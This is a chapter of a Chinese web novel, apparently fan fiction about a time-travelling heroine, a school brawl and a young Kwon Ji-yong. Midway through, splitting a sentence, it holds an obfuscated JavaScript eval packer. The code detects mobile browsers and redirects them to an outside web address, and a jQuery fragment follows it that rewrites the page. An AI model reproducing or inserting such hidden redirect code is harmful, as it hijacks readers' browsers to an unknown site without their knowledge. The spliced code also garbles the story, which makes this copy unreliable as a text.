舞台剧自然地过渡温馨的下一幕。
台上的每个人分别站好,开始齐唱着爱意撒满人间的歌词。
而台下却是一片凌乱,夏莱还来不及反应过来,就被站在身后的眼线女一把薅住了头发。
“臭丫头,敢惹我你真是死定了。”
“喂,轻点,我的头都要掉了……”
夏莱现在算是彻底理解了韩剧里女人打架为什么都要抓头发的设定了,真的是头皮都要绽开的痛,特别是这个女的还留着长长的指甲,指尖来回摩擦着她的头皮层,简直要命。
夏莱挣扎的瞬间扬起了脸,又瞥到了隔壁的壮汉走上前一步,单脚踩着一旁的椅子扶手,把想要冲上来的东永培围了个水泄不通。
他红色的亮面运动鞋晃到了她的眼。
“好看吧?”他故作小心地拍了拍鞋上面的灰尘。“看样子得再借权至龙那小子的鞋多穿两天了。”
夏莱恍然大悟,怪不得那几天他在学校找她的时候总穿着个拖鞋,还说什么时尚?分明是被不良少年抢走了爱鞋。【见第九章】
未来顶着个海带头画全包眼线的大佬也会这么惨,这像话吗?
“用苦痛,用真心的眼泪,用擦肩而过的缘分…”大佬高昂的独唱歌声再度响起,接着幕布逐渐降落。
在全场陷入黑暗的那一秒,夏莱使出了浑身全部力气重重踩上了眼线女一脚,然后在对方因为吃痛松手的片刻飞快地闪开绕到了她的身后。
二话不说地也牢牢抓住了她的头发。
眼线女咒骂道:“阿西,你快松开,想死吗?”
夏莱揉了揉自己已经发麻的头皮,再抬起手时指尖处直接留下了十几根头发……不爽的心情瞬间达到顶峰。
她又多使了一份力,“早就跟你说很痛了,你不信,只能让你体验一下了。”
“每一根头发都是很珍贵的,懂不懂?”天知道她每天996掉了多少头发。
另一边胖子的反应更是夸张,夏莱压根都没想到看起来老实巴交的东永培哪里来的牛劲儿,竟差点把对方撞翻在地。
“呀,你这个臭小子居然敢撞我。”在胖子还没有站稳之前,她上前一步,伸出了一只脚突袭地把他绊倒在地。
夏莱松了口气,小心挪到了另外一边。
一片黑暗中,一手拽着眼线女的头发,一手摸来摸去。终于!她找到了自己想要的东西。
“你这个女的,不要乱摸我。”
匆匆揣进兜里的时候正赶上下一个节目即将开始上演,四周再度变得亮堂起来。
眼看着眼线女顶着她长长的指甲就要给自己来上一巴掌,夏莱只好在闪躲的同时松开那只还拽着头发的手,然后将挂在脖子上的宝贝摄像机丢给体格更加强壮的东永培,“一定要帮我保护好!”
随后飞快地往外跑去。
结果没想到刚跑到门口就差点撞上几个浓妆艳抹的女高中生。
“喂,你没长眼睛吗?”
“抱歉…”
快要追上她的眼线女在后面喊道:“呀,快抓住她,就是这个死丫头作弄我!”
“原来就是你啊。”听到声音的几个女生立即上前,狭小的空间内几乎要把她团团围住。
危机之间夏莱急中生智,掏出一把爆米花朝几个人脸上丢去。
在她们手忙脚乱时她趁机找准了空隙中溜了出去。
……
三步并作两步,夏莱在校园里全速奔跑着,后面跟着得还是那几个怎么也甩不到的几个不良少女。
“别跑,给我站住…”
“你们叫我不跑就不跑了?”在转弯的空档她回头对着那几个紧追不放的人反驳道。
她又不是傻子,好几个战斗力爆棚的不良少女对她一个,停下来还有命活吗?
极端时期必须使用特殊方法,夏莱脑筋一转,直接朝教学楼方向跑去。
然而不良少女之所以是不良少女,不仅意味她们有着极强的战斗力,同时还拥有不同寻常的体力,这边随着她喘息的频率越来越快,几个人之间的距离也越来越近。
在最后只剩下几米的差距下夏莱突然停下,挥了挥手,“主任你快过来,有校外人员闯入校园打人啦。”
以眼线女为首的几个女生也纷纷停下,朝她挥手的方向望去。
哪有什么主任,空无一人的地面上刮起了一阵寂寥的风,眼线女揉了揉眼睛,差点晕染了她的眼线。
旁边的人怼了怼她,“西八,这个臭丫头是骗我们的,她已经跑了。”
“西八,又耍我!”肩膀处随即掉落出一粒爆米花,眼线女咬牙切齿地将它直接捏碎,然后捕捉着夏莱的方向,“以为往教学楼跑就没事了吗,等我把她抓到了一定要好好出这口恶气,快追!”
另一边夏莱终于拐进了教学楼,在回头张望着那几位有没有追上来的瞬间,她的脚结结实实撞上了大理石地砖。
“啊,好痛!”一股钻心般的刺痛袭来,在她怀疑自己是不是骨裂的时候几人的声音逐渐逼迫。
夏莱只好一瘸一拐的爬上楼梯,拼老命地走向右手边的第三个房间。
“呵,死丫头,这回看你还往哪里跑?”眼线女终于追了上来,她摩拳擦掌地一点点靠近夏莱,伸出手来就要给她一巴掌。
不料夏莱先一步捂住了脸,突然弯下腰,恭恭敬敬行了一个礼。
“主任nim,您好。”
“阿西,你当我是傻瓜吗,同样的招数会被你骗第三次…”
下一秒,她的脑袋就分毫不差地挨了一棍。
夏莱第一次觉得手拿着教鞭的教导主任身上散发着神圣的光芒。
“阿西?在神圣的教学楼里说什么脏话呢,还有你们几个,”他愤慨地吐沫星子四溅,接着毫不客气地给了她们每个人一记,“什么乱七八糟的打扮,不是我们学校的学生吧…”
在他背对着自己沉浸在疯狂说教的过程中,夏莱悄悄猫着腰,从另外一侧溜了出去。
……
踉踉跄跄地喘着粗气,夏莱绕到了很少有人经过的学校后门,如释重负地一屁股坐在台阶上。
“真的要痛死我了。”她小心翼翼地脱掉鞋子,赫然一片殷红出现在她的脚尖处。
她试图脱掉袜子查看一下脚趾的现状,不料刚脱掉一半就触动了紧紧勾连在袜子上的脚指甲。
“嘶———”脚指甲就这么断了。
脑瓜子疼得嗡嗡作响,夏莱只好对着轻轻地呼气,但疼痛依旧是有增无减。
半响过去,她擦了擦额间的冷汗,选择了间歇式摆烂。
一边用手微微在脚边扇动,一边抬头望着湛蓝的天空。
几只白色的鸽子飞过,明明本该平和的午后她却落得这么个倒霉的境地。
夏莱开始反思自己,也许就应该贯彻【路边的男人不要随便救】的经典铁律,也许当初跑路的时候不拐进那条街道就好了,最重要的是她一开始走进那个咖啡店就是个错误。
她肯定是和这位世界巨星八字犯冲,那时候看什么热闹啊,就应该远离才对!
但是现在也来不及了,脑海中那个最近每日都能见到的少年和广告牌上时尚摩登的大明星逐渐重合在一起……夏莱打了个寒颤。
阿西八,这种感觉就像是与他在这里初次见面时卡在她喉咙里的红豆一样,不上不下的,膈应得要死。
“鬼系统是真损啊。”她一边喃喃地咒骂着,一边单脚从台阶上跳起一点点地靠近后门的栅栏处。
“但我是不会就这么屈服的,你让我冷脸洗内裤我就洗给你看好吧…”疑似疯掉的一名女子展开了自言自语地碎碎念中。
正当她做势翻出栅栏的那一瞬,背后突然传来一个熟悉的呼喊。
“夏恩在!”
在她差点没站稳的瞬间,一双冰凉得满是湿汗的手及时抓住了她。
是权至龙。
看见她的身影后,他长长地舒了一口气,双手改为轻轻的揽住。
“你在这里干嘛呢?”他放缓了声音注视着她。
大概还是很难把与未来的G-Dragon跟眼前这个未卸掉滑稽舞台妆还贴着络腮胡的男生画上等号,夏莱一时间脑子有点短路,面对他的提问她几乎是下意识的回答:“脚受伤了翻出去买点药…”
他蹙紧了眉,“哪里?”
夏莱指了指自己还在渗血的脚趾头。
下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574610|203969||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一秒,他突然弯下了腰。
“你干嘛?哎哎…”
权至龙二话不说将她揽在了背上。
“你的脚还在流血,难不成自己走过去?”
突如其来的呛声哽住了夏莱的继续发言。
她懵懵地眨了眨眼,丝毫搞不清这人说变就变的态度。
不是,她到底做错什么了啊,咋就凶上了?
还有,她现在是被未来克掉她半条命的顶流明星背在后背上了么?
这种感觉真的是…像是有一百只蚂蚁爬上她的身躯,她左动动,右动动依旧是别扭十足。
权至龙的手重新使力,托了托她的身体。
干涩的嗓音响起,“不要乱动。”
“可是…鞋子掉了。”
随着夏莱手指的方向,他停下了步伐目光扫了过去。
一只红色运动鞋出现后方的在地上。
瞬间空气仿若凝固起来,夏莱很难说清当时的想法,大抵是黑暗之中没想那么多趁乱拿了这双鞋子?
她反复吞咽着口水,感觉那颗膈应人的红豆似乎又出现在自己的喉咙里,“你的鞋子,给你拿回来了。”说完又出兜里掏出另外一只递给他。
顺着她手的方向,权至龙看见了原本属于自己的红色运动鞋。
从刚才开始泛在心底的酸涩瞬间涌上了鼻头,他深吸一口气,轻轻拿掉了鞋子里残留的爆米花,但又在低头的那一刻看到了夏莱那被鲜血染红的脚尖。
眼角的泪水堪堪要滚落下来,权至龙努力克制着,却还是控制不住自己内心汹涌的情绪。
他不由得喊道:“谁还要别人穿过的鞋子啊!还有爆米花,”
“最重要的是因为这点破事跟别人打成这样真的是天下第一大傻瓜…”
话音未落,结结实实的一掌打中了权至龙的头部。
情绪完全被打断,他立马吃痛地叫了起来:“你打我干嘛?”
“没什么,就是想让你也体会一下突然被砸中的感觉罢了。”夏莱愉快地甩了甩手,深感自己内心的憋闷感随着这一掌的下落消退了不少。
权至龙大概是被打懵了,竟完全听不懂她的话来,“啊?说什么呢!”
“你当我痛的在说疯话算了,”她低语自嘲道,下一秒又零帧起手,转换为冲破耳膜的尖叫,“啊啊啊啊,脚快断了,快点去药店吧!”
硬是三分痛叫出了十分的夸张感。
“阿拉搜,这就去…”
权至龙立即手忙脚乱地捡起了地上的鞋子,一颠一颠地背着夏莱向门口跑去。
“你不是说「谁还要别人穿过的鞋子」么?”
“那个…那也不能就这么丢在操场上,”被戳中的某人耳朵瞬间变红,正在他堂皇着不知再说些什么的时候,一位“不速之客”逐渐靠近了他们。
朴正贤匆匆跑了过来,“这是…怎么回事,恩在听说你跟人打起来了,有没有事?”
“我有没有事不是重点,重点是你怎么在这儿?你不是应该跟金…”差一点就要脱口而出金真儿的名字,但是顾忌着还在现场的权至龙,她只好模糊了下说法,“那个谁有约吗?”
“是有…”朴正贤一瞬间怔住,半响才不安地扶了扶眼镜,“但是别担心,已经说清楚了。”镜片下已是一双红血丝的眼睛。“你是不是受伤了,我送你过去。”
“你……”夏莱努力深吸了口气,却还是压制不掉全身上下血脉喷张的感觉。
不是,你说清楚什么了?金真儿愿意跟你告白已经是八辈子烧高香了,你还敢拒绝…此刻夏莱的心里大概有八百句想吐槽朴正贤的。
“恩在,你不要乱动。”/“还是我送你去爸爸的医院看看。”
……
无语的心情让她止不住地眼角抽搐,“别说了,”
下一秒,她直接从权至龙身上跳了下来“我自己去。”
“还是我”/“我送你…”
“我是脚指甲断了又不是残废了,学校对面就是门诊,谁也别过来!”语毕踉踉跄跄地朝外蹦去。
“真是的,烦死我算了!”
作为人生的第一场正式打架,夏莱很戏剧性的…结尾以烦躁的心情告终。